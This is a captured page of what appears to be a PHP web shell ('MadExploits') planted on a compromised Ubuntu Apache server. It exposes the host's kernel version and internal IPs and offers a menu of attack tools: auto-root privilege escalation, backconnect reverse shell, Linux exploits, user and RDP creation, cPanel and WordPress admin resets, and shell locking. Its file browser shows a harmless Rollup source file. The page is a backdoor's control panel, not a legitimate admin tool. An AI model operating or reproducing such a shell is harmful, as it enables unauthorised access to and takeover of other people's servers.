Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
rollup /
dist /
es /
[ HOME SHELL ]
Name
Size
Permission
Action
shared
[ DIR ]
drwxr-xr-x
getLogFilter.js
2
KB
-rw-r--r--
package.json
17
B
-rw-r--r--
parseAst.js
293
B
-rw-r--r--
rollup.js
455
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : getLogFilter.js
/* @license Rollup.js v4.24.0 Wed, 02 Oct 2024 09:36:48 GMT - commit d3c000f4fd453e39a354299f0cfaa6831f56d7d8 https://github.com/rollup/rollup Released under the MIT License. */ const getLogFilter = filters => { if (filters.length === 0) return () => true; const normalizedFilters = filters.map(filter => filter.split('&').map(subFilter => { const inverted = subFilter.startsWith('!'); if (inverted) subFilter = subFilter.slice(1); const [key, ...value] = subFilter.split(':'); return { inverted, key: key.split('.'), parts: value.join(':').split('*') }; })); return (log) => { nextIntersectedFilter: for (const intersectedFilters of normalizedFilters) { for (const { inverted, key, parts } of intersectedFilters) { const isFilterSatisfied = testFilter(log, key, parts); if (inverted ? isFilterSatisfied : !isFilterSatisfied) { continue nextIntersectedFilter; } } return true; } return false; }; }; const testFilter = (log, key, parts) => { let rawValue = log; for (let index = 0; index < key.length; index++) { if (!rawValue) { return false; } const part = key[index]; if (!(part in rawValue)) { return false; } rawValue = rawValue[part]; } let value = typeof rawValue === 'object' ? JSON.stringify(rawValue) : String(rawValue); if (parts.length === 1) { return value === parts[0]; } if (!value.startsWith(parts[0])) { return false; } const lastPartIndex = parts.length - 1; for (let index = 1; index < lastPartIndex; index++) { const part = parts[index]; const position = value.indexOf(part); if (position === -1) { return false; } value = value.slice(position + part.length); } return value.endsWith(parts[lastPartIndex]); }; export { getLogFilter };
Close